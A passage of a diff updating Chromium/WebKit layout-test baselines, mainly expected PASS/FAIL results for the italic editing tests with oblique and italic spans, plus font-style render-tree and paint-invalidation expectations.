 PASS [["stylewithcss","true"],["italic",""]] "foo<span style=\"font-style: oblique\">b[a]r</span>baz": execCommand("italic", false, "") return value 
 PASS [["stylewithcss","true"],["italic",""]] "foo<span style=\"font-style: oblique\">b[a]r</span>baz" checks for modifications to non-editable content 
-PASS [["stylewithcss","true"],["italic",""]] "foo<span style=\"font-style: oblique\">b[a]r</span>baz" compare innerHTML 
+FAIL [["stylewithcss","true"],["italic",""]] "foo<span style=\"font-style: oblique\">b[a]r</span>baz" compare innerHTML assert_equals: Unexpected innerHTML (after normalizing inline style) expected "foo<span style=\"font-style:oblique\">b</span>a<span style=\"font-style:oblique\">r</span>baz" but got "foo<span style=\"font-style:oblique\">b</span><span style=\"font-style:italic\">a</span><span style=\"font-style:oblique\">r</span>baz"
 PASS [["stylewithcss","true"],["italic",""]] "foo<span style=\"font-style: oblique\">b[a]r</span>baz" queryCommandIndeterm("stylewithcss") before 
 PASS [["stylewithcss","true"],["italic",""]] "foo<span style=\"font-style: oblique\">b[a]r</span>baz" queryCommandState("stylewithcss") before 
 PASS [["stylewithcss","true"],["italic",""]] "foo<span style=\"font-style: oblique\">b[a]r</span>baz" queryCommandValue("stylewithcss") before 
@@ -1555,15 +1555,15 @@
 PASS [["stylewithcss","true"],["italic",""]] "foo<span style=\"font-style: oblique\">b[a]r</span>baz" queryCommandState("stylewithcss") after 
 PASS [["stylewithcss","true"],["italic",""]] "foo<span style=\"font-style: oblique\">b[a]r</span>baz" queryCommandValue("stylewithcss") after 
 PASS [["stylewithcss","true"],["italic",""]] "foo<span style=\"font-style: oblique\">b[a]r</span>baz" queryCommandIndeterm("italic") before 
-PASS [["stylewithcss","true"],["italic",""]] "foo<span style=\"font-style: oblique\">b[a]r</span>baz" queryCommandState("italic") before 
-FAIL [["stylewithcss","true"],["italic",""]] "foo<span style=\"font-style: oblique\">b[a]r</span>baz" queryCommandValue("italic") before assert_equals: Wrong result returned expected "" but got "true"
+FAIL [["stylewithcss","true"],["italic",""]] "foo<span style=\"font-style: oblique\">b[a]r</span>baz" queryCommandState("italic") before assert_equals: Wrong result returned expected true but got false
+FAIL [["stylewithcss","true"],["italic",""]] "foo<span style=\"font-style: oblique\">b[a]r</span>baz" queryCommandValue("italic") before assert_equals: Wrong result returned expected "" but got "false"
 PASS [["stylewithcss","true"],["italic",""]] "foo<span style=\"font-style: oblique\">b[a]r</span>baz" queryCommandIndeterm("italic") after 
-PASS [["stylewithcss","true"],["italic",""]] "foo<span style=\"font-style: oblique\">b[a]r</span>baz" queryCommandState("italic") after 
-FAIL [["stylewithcss","true"],["italic",""]] "foo<span style=\"font-style: oblique\">b[a]r</span>baz" queryCommandValue("italic") after assert_equals: Wrong result returned expected "" but got "false"
+FAIL [["stylewithcss","true"],["italic",""]] "foo<span style=\"font-style: oblique\">b[a]r</span>baz" queryCommandState("italic") after assert_equals: Wrong result returned expected false but got true
+FAIL [["stylewithcss","true"],["italic",""]] "foo<span style=\"font-style: oblique\">b[a]r</span>baz" queryCommandValue("italic") after assert_equals: Wrong result returned expected "" but got "true"
 PASS [["stylewithcss","false"],["italic",""]] "foo<span style=\"font-style: oblique\">b[a]r</span>baz": execCommand("stylewithcss", false, "false") return value 
 PASS [["stylewithcss","false"],["italic",""]] "foo<span style=\"font-style: oblique\">b[a]r</span>baz": execCommand("italic", false, "") return value 
 PASS [["stylewithcss","false"],["italic",""]] "foo<span style=\"font-style: oblique\">b[a]r</span>baz" checks for modifications to non-editable content 
-PASS [["stylewithcss","false"],["italic",""]] "foo<span style=\"font-style: oblique\">b[a]r</span>baz" compare innerHTML 
+FAIL [["stylewithcss","false"],["italic",""]] "foo<span style=\"font-style: oblique\">b[a]r</span>baz" compare innerHTML assert_equals: Unexpected innerHTML (after normalizing inline style) expected "foo<span style=\"font-style:oblique\">b</span>a<span style=\"font-style:oblique\">r</span>baz" but got "foo<span style=\"font-style:oblique\">b</span><i>a</i><span style=\"font-style:oblique\">r</span>baz"
 PASS [["stylewithcss","false"],["italic",""]] "foo<span style=\"font-style: oblique\">b[a]r</span>baz" queryCommandIndeterm("stylewithcss") before 
 PASS [["stylewithcss","false"],["italic",""]] "foo<span style=\"font-style: oblique\">b[a]r</span>baz" queryCommandState("stylewithcss") before 
 PASS [["stylewithcss","false"],["italic",""]] "foo<span style=\"font-style: oblique\">b[a]r</span>baz" queryCommandValue("stylewithcss") before 
@@ -1571,11 +1571,11 @@
 PASS [["stylewithcss","false"],["italic",""]] "foo<span style=\"font-style: oblique\">b[a]r</span>baz" queryCommandState("stylewithcss") after 
 PASS [["stylewithcss","false"],["italic",""]] "foo<span style=\"font-style: oblique\">b[a]r</span>baz" queryCommandValue("stylewithcss") after 
 PASS [["stylewithcss","false"],["italic",""]] "foo<span style=\"font-style: oblique\">b[a]r</span>baz" queryCommandIndeterm("italic") before 
-PASS [["stylewithcss","false"],["italic",""]] "foo<span style=\"font-style: oblique\">b[a]r</span>baz" queryCommandState("italic") before 
-FAIL [["stylewithcss","false"],["italic",""]] "foo<span style=\"font-style: oblique\">b[a]r</span>baz" queryCommandValue("italic") before assert_equals: Wrong result returned expected "" but got "true"
+FAIL [["stylewithcss","false"],["italic",""]] "foo<span style=\"font-style: oblique\">b[a]r</span>baz" queryCommandState("italic") before assert_equals: Wrong result returned expected true but got false
+FAIL [["stylewithcss","false"],["italic",""]] "foo<span style=\"font-style: oblique\">b[a]r</span>baz" queryCommandValue("italic") before assert_equals: Wrong result returned expected "" but got "false"
 PASS [["stylewithcss","false"],["italic",""]] "foo<span style=\"font-style: oblique\">b[a]r</span>baz" queryCommandIndeterm("italic") after 
-PASS [["stylewithcss","false"],["italic",""]] "foo<span style=\"font-style: oblique\">b[a]r</span>baz" queryCommandState("italic") after 
-FAIL [["stylewithcss","false"],["italic",""]] "foo<span style=\"font-style: oblique\">b[a]r</span>baz" queryCommandValue("italic") after assert_equals: Wrong result returned expected "" but got "false"
+FAIL [["stylewithcss","false"],["italic",""]] "foo<span style=\"font-style: oblique\">b[a]r</span>baz" queryCommandState("italic") after assert_equals: Wrong result returned expected false but got true
+FAIL [["stylewithcss","false"],["italic",""]] "foo<span style=\"font-style: oblique\">b[a]r</span>baz" queryCommandValue("italic") after assert_equals: Wrong result returned expected "" but got "true"
 PASS [["stylewithcss","true"],["italic",""]] "<i>{<p>foo</p><p>bar</p>}<p>baz</p></i>": execCommand("stylewithcss", false, "true") return value 
 PASS [["stylewithcss","true"],["italic",""]] "<i>{<p>foo</p><p>bar</p>}<p>baz</p></i>": execCommand("italic", false, "") return value 
 PASS [["stylewithcss","true"],["italic",""]] "<i>{<p>foo</p><p>bar</p>}<p>baz</p></i>" checks for modifications to non-editable content 
@@ -2008,7 +2008,7 @@
 PASS [["stylewithcss","true"],["italic",""]] "<span style=font-style:oblique>fo[o</span><span style=font-style:italic>b]ar</span>": execCommand("stylewithcss", false, "true") return value 
 PASS [["stylewithcss","true"],["italic",""]] "<span style=font-style:oblique>fo[o</span><span style=font-style:italic>b]ar</span>": execCommand("italic", false, "") return value 
 PASS [["stylewithcss","true"],["italic",""]] "<span style=font-style:oblique>fo[o</span><span style=font-style:italic>b]ar</span>" checks for modifications to non-editable content 
-PASS [["stylewithcss","true"],["italic",""]] "<span style=font-style:oblique>fo[o</span><span style=font-style:italic>b]ar</span>" compare innerHTML 
+FAIL [["stylewithcss","true"],["italic",""]] "<span style=font-style:oblique>fo[o</span><span style=font-style:italic>b]ar</span>" compare innerHTML assert_equals: Unexpected innerHTML (after normalizing inline style) expected "<span style=\"font-style:oblique\">fo</span>ob<span style=\"font-style:italic\">ar</span>" but got "<span style=\"font-style:oblique\">fo</span><span style=\"font-style:italic\">ob</span><span style=\"font-style:italic\">ar</span>"
 PASS [["stylewithcss","true"],["italic",""]] "<span style=font-style:oblique>fo[o</span><span style=font-style:italic>b]ar</span>" queryCommandIndeterm("stylewithcss") before 
 PASS [["stylewithcss","true"],["italic",""]] "<span style=font-style:oblique>fo[o</span><span style=font-style:italic>b]ar</span>" queryCommandState("stylewithcss") before 
 PASS [["stylewithcss","true"],["italic",""]] "<span style=font-style:oblique>fo[o</span><span style=font-style:italic>b]ar</span>" queryCommandValue("stylewithcss") before 
@@ -2016,15 +2016,15 @@
 PASS [["stylewithcss","true"],["italic",""]] "<span style=font-style:oblique>fo[o</span><span style=font-style:italic>b]ar</span>" queryCommandState("stylewithcss") after 
 PASS [["stylewithcss","true"],["italic",""]] "<span style=font-style:oblique>fo[o</span><span style=font-style:italic>b]ar</span>" queryCommandValue("stylewithcss") after 
 PASS [["stylewithcss","true"],["italic",""]] "<span style=font-style:oblique>fo[o</span><span style=font-style:italic>b]ar</span>" queryCommandIndeterm("italic") before 
-PASS [["stylewithcss","true"],["italic",""]] "<span style=font-style:oblique>fo[o</span><span style=font-style:italic>b]ar</span>" queryCommandState("italic") before 
-FAIL [["stylewithcss","true"],["italic",""]] "<span style=font-style:oblique>fo[o</span><span style=font-style:italic>b]ar</span>" queryCommandValue("italic") before assert_equals: Wrong result returned expected "" but got "true"
+FAIL [["stylewithcss","true"],["italic",""]] "<span style=font-style:oblique>fo[o</span><span style=font-style:italic>b]ar</span>" queryCommandState("italic") before assert_equals: Wrong result returned expected true but got false
+FAIL [["stylewithcss","true"],["italic",""]] "<span style=font-style:oblique>fo[o</span><span style=font-style:italic>b]ar</span>" queryCommandValue("italic") before assert_equals: Wrong result returned expected "" but got "false"
 PASS [["stylewithcss","true"],["italic",""]] "<span style=font-style:oblique>fo[o</span><span style=font-style:italic>b]ar</span>" queryCommandIndeterm("italic") after 
-PASS [["stylewithcss","true"],["italic",""]] "<span style=font-style:oblique>fo[o</span><span style=font-style:italic>b]ar</span>" queryCommandState("italic") after 
-FAIL [["stylewithcss","true"],["italic",""]] "<span style=font-style:oblique>fo[o</span><span style=font-style:italic>b]ar</span>" queryCommandValue("italic") after assert_equals: Wrong result returned expected "" but got "false"
+FAIL [["stylewithcss","true"],["italic",""]] "<span style=font-style:oblique>fo[o</span><span style=font-style:italic>b]ar</span>" queryCommandState("italic") after assert_equals: Wrong result returned expected false but got true
+FAIL [["stylewithcss","true"],["italic",""]] "<span style=font-style:oblique>fo[o</span><span style=font-style:italic>b]ar</span>" queryCommandValue("italic") after assert_equals: Wrong result returned expected "" but got "true"
 PASS [["stylewithcss","false"],["italic",""]] "<span style=font-style:oblique>fo[o</span><span style=font-style:italic>b]ar</span>": execCommand("stylewithcss", false, "false") return value 
 PASS [["stylewithcss","false"],["italic",""]] "<span style=font-style:oblique>fo[o</span><span style=font-style:italic>b]ar</span>": execCommand("italic", false, "") return value 
 PASS [["stylewithcss","false"],["italic",""]] "<span style=font-style:oblique>fo[o</span><span style=font-style:italic>b]ar</span>" checks for modifications to non-editable content 
-FAIL [["stylewithcss","false"],["italic",""]] "<span style=font-style:oblique>fo[o</span><span style=font-style:italic>b]ar</span>" compare innerHTML assert_equals: Unexpected innerHTML (after normalizing inline style) expected "<span style=\"font-style:oblique\">fo</span>ob<i>ar</i>" but got "<span style=\"font-style:oblique\">fo</span>ob<span style=\"font-style:italic\">ar</span>"
+FAIL [["stylewithcss","false"],["italic",""]] "<span style=font-style:oblique>fo[o</span><span style=font-style:italic>b]ar</span>" compare innerHTML assert_equals: Unexpected innerHTML (after normalizing inline style) expected "<span style=\"font-style:oblique\">fo</span>ob<i>ar</i>" but got "<span style=\"font-style:oblique\">fo</span><i>ob</i><span style=\"font-style:italic\">ar</span>"
 PASS [["stylewithcss","false"],["italic",""]] "<span style=font-style:oblique>fo[o</span><span style=font-style:italic>b]ar</span>" queryCommandIndeterm("stylewithcss") before 
 PASS [["stylewithcss","false"],["italic",""]] "<span style=font-style:oblique>fo[o</span><span style=font-style:italic>b]ar</span>" queryCommandState("stylewithcss") before 
 PASS [["stylewithcss","false"],["italic",""]] "<span style=font-style:oblique>fo[o</span><span style=font-style:italic>b]ar</span>" queryCommandValue("stylewithcss") before 
@@ -2032,11 +2032,11 @@
 PASS [["stylewithcss","false"],["italic",""]] "<span style=font-style:oblique>fo[o</span><span style=font-style:italic>b]ar</span>" queryCommandState("stylewithcss") after 
 PASS [["stylewithcss","false"],["italic",""]] "<span style=font-style:oblique>fo[o</span><span style=font-style:italic>b]ar</span>" queryCommandValue("stylewithcss") after 
 PASS [["stylewithcss","false"],["italic",""]] "<span style=font-style:oblique>fo[o</span><span style=font-style:italic>b]ar</span>" queryCommandIndeterm("italic") before 
-PASS [["stylewithcss","false"],["italic",""]] "<span style=font-style:oblique>fo[o</span><span style=font-style:italic>b]ar</span>" queryCommandState("italic") before 
-FAIL [["stylewithcss","false"],["italic",""]] "<span style=font-style:oblique>fo[o</span><span style=font-style:italic>b]ar</span>" queryCommandValue("italic") before assert_equals: Wrong result returned expected "" but got "true"
+FAIL [["stylewithcss","false"],["italic",""]] "<span style=font-style:oblique>fo[o</span><span style=font-style:italic>b]ar</span>" queryCommandState("italic") before assert_equals: Wrong result returned expected true but got false
+FAIL [["stylewithcss","false"],["italic",""]] "<span style=font-style:oblique>fo[o</span><span style=font-style:italic>b]ar</span>" queryCommandValue("italic") before assert_equals: Wrong result returned expected "" but got "false"
 PASS [["stylewithcss","false"],["italic",""]] "<span style=font-style:oblique>fo[o</span><span style=font-style:italic>b]ar</span>" queryCommandIndeterm("italic") after 
-PASS [["stylewithcss","false"],["italic",""]] "<span style=font-style:oblique>fo[o</span><span style=font-style:italic>b]ar</span>" queryCommandState("italic") after 
-FAIL [["stylewithcss","false"],["italic",""]] "<span style=font-style:oblique>fo[o</span><span style=font-style:italic>b]ar</span>" queryCommandValue("italic") after assert_equals: Wrong result returned expected "" but got "false"
+FAIL [["stylewithcss","false"],["italic",""]] "<span style=font-style:oblique>fo[o</span><span style=font-style:italic>b]ar</span>" queryCommandState("italic") after assert_equals: Wrong result returned expected false but got true
+FAIL [["stylewithcss","false"],["italic",""]] "<span style=font-style:oblique>fo[o</span><span style=font-style:italic>b]ar</span>" queryCommandValue("italic") after assert_equals: Wrong result returned expected "" but got "true"
 PASS [["stylewithcss","true"],["italic",""]] "<i>fo[o</i><address>b]ar</address>": execCommand("stylewithcss", false, "true") return value 
 PASS [["stylewithcss","true"],["italic",""]] "<i>fo[o</i><address>b]ar</address>": execCommand("italic", false, "") return value 
 PASS [["stylewithcss","true"],["italic",""]] "<i>fo[o</i><address>b]ar</address>" checks for modifications to non-editable content 
diff --git a/third_party/WebKit/LayoutTests/platform/mac/fast/css/css2-system-fonts-expected.txt b/third_party/WebKit/LayoutTests/platform/mac/fast/css/css2-system-fonts-expected.txt
index dd54fe8..03519a1 100644
--- a/third_party/WebKit/LayoutTests/platform/mac/fast/css/css2-system-fonts-expected.txt
+++ b/third_party/WebKit/LayoutTests/platform/mac/fast/css/css2-system-fonts-expected.txt
@@ -1,7 +1,7 @@
 This tests platform specific system font styles. If any of the styles appear in monospace the test fails.
-caption: normal normal 400 normal 13px / normal system-ui
-icon: normal normal 400 normal 13px / normal system-ui
-menu: normal normal 400 normal 13px / normal system-ui
-message-box: normal normal 400 normal 13px / normal system-ui
-small-caption: normal normal 400 normal 11px / normal system-ui
-status-bar: normal normal 400 normal 10px / normal system-ui
+caption: normal normal normal normal 13px / normal system-ui
+icon: normal normal normal normal 13px / normal system-ui
+menu: normal normal normal normal 13px / normal system-ui
+message-box: normal normal normal normal 13px / normal system-ui
+small-caption: normal normal normal normal 11px / normal system-ui
+status-bar: normal normal normal normal 10px / normal system-ui
diff --git a/third_party/WebKit/LayoutTests/platform/mac/paint/invalidation/selection-after-remove-expected.txt b/third_party/WebKit/LayoutTests/platform/mac/paint/invalidation/selection-after-remove-expected.txt
index 1b49198..0c8111f 100644
--- a/third_party/WebKit/LayoutTests/platform/mac/paint/invalidation/selection-after-remove-expected.txt
+++ b/third_party/WebKit/LayoutTests/platform/mac/paint/invalidation/selection-after-remove-expected.txt
@@ -44,6 +44,14 @@
       "reason": "disappeared"
     },
     {
+      "object": "LayoutBlockFlow HTML",
+      "reason": "selection"
+    },
+    {
+      "object": "LayoutBlockFlow BODY",
+      "reason": "selection"
+    },
+    {
       "object": "LayoutBlockFlow DIV id='test'",
       "reason": "geometry"
     },
diff --git a/third_party/WebKit/LayoutTests/platform/mac/paint/selection/text-selection-update-style-expected.png b/third_party/WebKit/LayoutTests/platform/mac/paint/selection/text-selection-update-style-expected.png
new file mode 100644
index 0000000..8ca30adf
--- /dev/null
+++ b/third_party/WebKit/LayoutTests/platform/mac/paint/selection/text-selection-update-style-expected.png
Binary files differ
diff --git a/third_party/WebKit/LayoutTests/platform/win/css1/font_properties/font_style-expected.png b/third_party/WebKit/LayoutTests/platform/win/css1/font_properties/font_style-expected.png
index 7ee2a0a..4ddfeae9 100644
--- a/third_party/WebKit/LayoutTests/platform/win/css1/font_properties/font_style-expected.png
+++ b/third_party/WebKit/LayoutTests/platform/win/css1/font_properties/font_style-expected.png
Binary files differ
diff --git a/third_party/WebKit/LayoutTests/platform/win/css2.1/t1504-c523-font-style-00-b-expected.png b/third_party/WebKit/LayoutTests/platform/win/css2.1/t1504-c523-font-style-00-b-expected.png
index a2d7e2a1..251f1ca1 100644
--- a/third_party/WebKit/LayoutTests/platform/win/css2.1/t1504-c523-font-style-00-b-expected.png
+++ b/third_party/WebKit/LayoutTests/platform/win/css2.1/t1504-c523-font-style-00-b-expected.png
Binary files differ
diff --git a/third_party/WebKit/LayoutTests/platform/win/css2.1/t1504-c523-font-style-00-b-expected.txt b/third_party/WebKit/LayoutTests/platform/win/css2.1/t1504-c523-font-style-00-b-expected.txt
index 990db42..ba2f8e3 100644
--- a/third_party/WebKit/LayoutTests/platform/win/css2.1/t1504-c523-font-style-00-b-expected.txt
+++ b/third_party/WebKit/LayoutTests/platform/win/css2.1/t1504-c523-font-style-00-b-expected.txt
@@ -11,8 +11,8 @@
             text run at (217,0) width 192: "This sentence should be normal."
         LayoutText {#text} at (0,0) size 0x0
       LayoutBlockFlow {P} at (0,36) size 784x20 [color=#000080]
-        LayoutText {#text} at (0,0) size 206x19
-          text run at (0,0) width 206: "This sentence should be oblique."
+        LayoutText {#text} at (0,0) size 195x19
+          text run at (0,0) width 195: "This sentence should be oblique."
       LayoutBlockFlow {P} at (0,72) size 784x20 [color=#000080]
         LayoutInline {I} at (0,0) size 192x19
           LayoutText {#text} at (0,0) size 192x19
diff --git a/third_party/WebKit/LayoutTests/platform/win/css2.1/t1508-c527-font-08-b-expected.png b/third_party/WebKit/LayoutTests/platform/win/css2.1/t1508-c527-font-08-b-expected.png
index 9a7c0c6..9fe20aa 100644
--- a/third_party/WebKit/LayoutTests/platform/win/css2.1/t1508-c527-font-08-b-expected.png
+++ b/third_party/WebKit/LayoutTests/platform/win/css2.1/t1508-c527-font-08-b-expected.png
Binary files differ
diff --git a/third_party/WebKit/LayoutTests/platform/win/css2.1/t1508-c527-font-08-b-expected.txt b/third_party/WebKit/LayoutTests/platform/win/css2.1/t1508-c527-font-08-b-expected.txt
index 751f1e5..82544cd 100644
--- a/third_party/WebKit/LayoutTests/platform/win/css2.1/t1508-c527-font-08-b-expected.txt
+++ b/third_party/WebKit/LayoutTests/platform/win/css2.1/t1508-c527-font-08-b-expected.txt
@@ -1,26 +1,26 @@
 layer at (0,0) size 800x600
   LayoutView at (0,0) size 800x600
-layer at (0,0) size 800x324
-  LayoutBlockFlow {HTML} at (0,0) size 800x324
-    LayoutBlockFlow {BODY} at (8,18) size 784x288 [color=#000080]
-      LayoutBlockFlow {P} at (0,0) size 784x288
-        LayoutText {#text} at (0,7) size 780x57
-          text run at (0,7) width 780: "This text should be 18px sans-serif, in small-caps, oblique, and bold. There should be a 9px"
-          text run at (0,43) width 201: "gap between each line. "
-        LayoutInline {SPAN} at (0,0) size 730x237 [color=#C0C0C0]
-          LayoutText {#text} at (201,43) size 730x237
-            text run at (201,43) width 520: "dummy text dummy text dummy text dummy text dummy text"
-            text run at (0,79) width 69: "dummy "
-            text run at (69,79) width 630: "text dummy text dummy text dummy text dummy text dummy text dummy "
-            text run at (699,79) width 31: "text"
-            text run at (0,115) width 594: "dummy text dummy text dummy text dummy text dummy text dummy "
-            text run at (594,115) width 136: "text dummy text"
-            text run at (0,151) width 489: "dummy text dummy text dummy text dummy text dummy "
-            text run at (489,151) width 241: "text dummy text dummy text"
-            text run at (0,187) width 384: "dummy text dummy text dummy text dummy "
-            text run at (384,187) width 346: "text dummy text dummy text dummy text"
-            text run at (0,223) width 279: "dummy text dummy text dummy "
-            text run at (279,223) width 451: "text dummy text dummy text dummy text dummy text"
-            text run at (0,259) width 174: "dummy text dummy "
-            text run at (174,259) width 556: "text dummy text dummy text dummy text dummy text dummy text"
+layer at (0,0) size 800x360
+  LayoutBlockFlow {HTML} at (0,0) size 800x360
+    LayoutBlockFlow {BODY} at (8,18) size 784x324 [color=#000080]
+      LayoutBlockFlow {P} at (0,0) size 784x324
+        LayoutText {#text} at (0,7) size 757x57
+          text run at (0,7) width 757: "This text should be 18px sans-serif, in small-caps, oblique, and bold. There should be a"
+          text run at (0,43) width 244: "9px gap between each line. "
+        LayoutInline {SPAN} at (0,0) size 772x273 [color=#C0C0C0]
+          LayoutText {#text} at (244,43) size 772x273
+            text run at (244,43) width 511: "dummy text dummy text dummy text dummy text dummy"
+            text run at (0,79) width 111: "text dummy "
+            text run at (111,79) width 661: "text dummy text dummy text dummy text dummy text dummy text dummy"
+            text run at (0,115) width 666: "text dummy text dummy text dummy text dummy text dummy text dummy "
+            text run at (666,115) width 106: "text dummy"
+            text run at (0,151) width 555: "text dummy text dummy text dummy text dummy text dummy "
+            text run at (555,151) width 217: "text dummy text dummy"
+            text run at (0,187) width 444: "text dummy text dummy text dummy text dummy "
+            text run at (444,187) width 328: "text dummy text dummy text dummy"
+            text run at (0,223) width 333: "text dummy text dummy text dummy "
+            text run at (333,223) width 439: "text dummy text dummy text dummy text dummy"
+            text run at (0,259) width 222: "text dummy text dummy "
+            text run at (222,259) width 550: "text dummy text dummy text dummy text dummy text dummy"
+            text run at (0,295) width 34: "text"
         LayoutText {#text} at (0,0) size 0x0
diff --git a/third_party/WebKit/LayoutTests/platform/win/external/wpt/editing/run/italic-expected.txt b/third_party/WebKit/LayoutTests/platform/win/external/wpt/editing/run/italic-expected.txt
index 7c5d84df..960c0aab 100644
--- a/third_party/WebKit/LayoutTests/platform/win/external/wpt/editing/run/italic-expected.txt
+++ b/third_party/WebKit/LayoutTests/platform/win/external/wpt/editing/run/italic-expected.txt
@@ -1,5 +1,5 @@
 This is a testharness.js-based test.
-Found 2069 tests; 1731 PASS, 338 FAIL, 0 TIMEOUT, 0 NOTRUN.
+Found 2069 tests; 1703 PASS, 366 FAIL, 0 TIMEOUT, 0 NOTRUN.
 PASS [["italic",""]] "foo[]bar": execCommand("italic", false, "") return value 
 PASS [["italic",""]] "foo[]bar" checks for modifications to non-editable content 
 PASS [["italic",""]] "foo[]bar" compare innerHTML 
@@ -1515,7 +1515,7 @@
 PASS [["stylewithcss","true"],["italic",""]] "foo<span style=\"font-style: oblique\">[bar]</span>baz": execCommand("stylewithcss", false, "true") return value 
 PASS [["stylewithcss","true"],["italic",""]] "foo<span style=\"font-style: oblique\">[bar]</span>baz": execCommand("italic", false, "") return value 
 PASS [["stylewithcss","true"],["italic",""]] "foo<span style=\"font-style: oblique\">[bar]</span>baz" checks for modifications to non-editable content 
-PASS [["stylewithcss","true"],["italic",""]] "foo<span style=\"font-style: oblique\">[bar]</span>baz" compare innerHTML 
+FAIL [["stylewithcss","true"],["italic",""]] "foo<span style=\"font-style: oblique\">[bar]</span>baz" compare innerHTML assert_equals: Unexpected innerHTML (after normalizing inline style) expected "foobarbaz" but got "foo<span style=\"font-style:italic\">bar</span>baz"
 PASS [["stylewithcss","true"],["italic",""]] "foo<span style=\"font-style: oblique\">[bar]</span>baz" queryCommandIndeterm("stylewithcss") before 
 PASS [["stylewithcss","true"],["italic",""]] "foo<span style=\"font-style: oblique\">[bar]</span>baz" queryCommandState("stylewithcss") before 
 PASS [["stylewithcss","true"],["italic",""]] "foo<span style=\"font-style: oblique\">[bar]</span>baz" queryCommandValue("stylewithcss") before 
@@ -1523,15 +1523,15 @@
 PASS [["stylewithcss","true"],["italic",""]] "foo<span style=\"font-style: oblique\">[bar]</span>baz" queryCommandState("stylewithcss") after 
 PASS [["stylewithcss","true"],["italic",""]] "foo<span style=\"font-style: oblique\">[bar]</span>baz" queryCommandValue("stylewithcss") after 
 PASS [["stylewithcss","true"],["italic",""]] "foo<span style=\"font-style: oblique\">[bar]</span>baz" queryCommandIndeterm("italic") before 
-PASS [["stylewithcss","true"],["italic",""]] "foo<span style=\"font-style: oblique\">[bar]</span>baz" queryCommandState("italic") before 
-FAIL [["stylewithcss","true"],["italic",""]] "foo<span style=\"font-style: oblique\">[bar]</span>baz" queryCommandValue("italic") before assert_equals: Wrong result returned expected "" but got "true"
+FAIL [["stylewithcss","true"],["italic",""]] "foo<span style=\"font-style: oblique\">[bar]</span>baz" queryCommandState("italic") before assert_equals: Wrong result returned expected true but got false
+FAIL [["stylewithcss","true"],["italic",""]] "foo<span style=\"font-style: oblique\">[bar]</span>baz" queryCommandValue("italic") before assert_equals: Wrong result returned expected "" but got "false"
 PASS [["stylewithcss","true"],["italic",""]] "foo<span style=\"font-style: oblique\">[bar]</span>baz" queryCommandIndeterm("italic") after 
-PASS [["stylewithcss","true"],["italic",""]] "foo<span style=\"font-style: oblique\">[bar]</span>baz" queryCommandState("italic") after 
-FAIL [["stylewithcss","true"],["italic",""]] "foo<span style=\"font-style: oblique\">[bar]</span>baz" queryCommandValue("italic") after assert_equals: Wrong result returned expected "" but got "false"
+FAIL [["stylewithcss","true"],["italic",""]] "foo<span style=\"font-style: oblique\">[bar]</span>baz" queryCommandState("italic") after assert_equals: Wrong result returned expected false but got true
+FAIL [["stylewithcss","true"],["italic",""]] "foo<span style=\"font-style: oblique\">[bar]</span>baz" queryCommandValue("italic") after assert_equals: Wrong result returned expected "" but got "true"
 PASS [["stylewithcss","false"],["italic",""]] "foo<span style=\"font-style: oblique\">[bar]</span>baz": execCommand("stylewithcss", false, "false") return value 
 PASS [["stylewithcss","false"],["italic",""]] "foo<span style=\"font-style: oblique\">[bar]</span>baz": execCommand("italic", false, "") return value 
 PASS [["stylewithcss","false"],["italic",""]] "foo<span style=\"font-style: oblique\">[bar]</span>baz" checks for modifications to non-editable content 
-PASS [["stylewithcss","false"],["italic",""]] "foo<span style=\"font-style: oblique\">[bar]</span>baz" compare innerHTML 
+FAIL [["stylewithcss","false"],["italic",""]] "foo<span style=\"font-style: oblique\">[bar]</span>baz" compare innerHTML assert_equals: Unexpected innerHTML (after normalizing inline style) expected "foobarbaz" but got "foo<i>bar</i>baz"
 PASS [["stylewithcss","false"],["italic",""]] "foo<span style=\"font-style: oblique\">[bar]</span>baz" queryCommandIndeterm("stylewithcss") before 
 PASS [["stylewithcss","false"],["italic",""]] "foo<span style=\"font-style: oblique\">[bar]</span>baz" queryCommandState("stylewithcss") before 
 PASS [["stylewithcss","false"],["italic",""]] "foo<span style=\"font-style: oblique\">[bar]</span>baz" queryCommandValue("stylewithcss") before 
@@ -1539,15 +1539,15 @@
 PASS [["stylewithcss","false"],["italic",""]] "foo<span style=\"font-style: oblique\">[bar]</span>baz" queryCommandState("stylewithcss") after 
 PASS [["stylewithcss","false"],["italic",""]] "foo<span style=\"font-style: oblique\">[bar]</span>baz" queryCommandValue("stylewithcss") after 
 PASS [["stylewithcss","false"],["italic",""]] "foo<span style=\"font-style: oblique\">[bar]</span>baz" queryCommandIndeterm("italic") before 
-PASS [["stylewithcss","false"],["italic",""]] "foo<span style=\"font-style: oblique\">[bar]</span>baz" queryCommandState("italic") before 
-FAIL [["stylewithcss","false"],["italic",""]] "foo<span style=\"font-style: oblique\">[bar]</span>baz" queryCommandValue("italic") before assert_equals: Wrong result returned expected "" but got "true"
+FAIL [["stylewithcss","false"],["italic",""]] "foo<span style=\"font-style: oblique\">[bar]</span>baz" queryCommandState("italic") before assert_equals: Wrong result returned expected true but got false
+FAIL [["stylewithcss","false"],["italic",""]] "foo<span style=\"font-style: oblique\">[bar]</span>baz" queryCommandValue("italic") before assert_equals: Wrong result returned expected "" but got "false"
 PASS [["stylewithcss","false"],["italic",""]] "foo<span style=\"font-style: oblique\">[bar]</span>baz" queryCommandIndeterm("italic") after 
-PASS [["stylewithcss","false"],["italic",""]] "foo<span style=\"font-style: oblique\">[bar]</span>baz" queryCommandState("italic") after 
-FAIL [["stylewithcss","false"],["italic",""]] "foo<span style=\"font-style: oblique\">[bar]</span>baz" queryCommandValue("italic") after assert_equals: Wrong result returned expected "" but got "false"
+FAIL [["stylewithcss","false"],["italic",""]] "foo<span style=\"font-style: oblique\">[bar]</span>baz" queryCommandState("italic") after assert_equals: Wrong result returned expected false but got true
+FAIL [["stylewithcss","false"],["italic",""]] "foo<span style=\"font-style: oblique\">[bar]</span>baz" queryCommandValue("italic") after assert_equals: Wrong result returned expected "" but got "true"
 PASS [["stylewithcss","true"],["italic",""]] "foo<span style=\"font-style: oblique\">b[a]r</span>baz": execCommand("stylewithcss", false, "true") return value 
 PASS [["stylewithcss","true"],["italic",""]] "foo<span style=\"font-style: oblique\">b[a]r</span>baz": execCommand("italic", false, "") return value 
 PASS [["stylewithcss","true"],["italic",""]] "foo<span style=\"font-style: oblique\">b[a]r</span>baz" checks for modifications to non-editable content 
-PASS [["stylewithcss","true"],["italic",""]] "foo<span style=\"font-style: oblique\">b[a]r</span>baz" compare innerHTML 
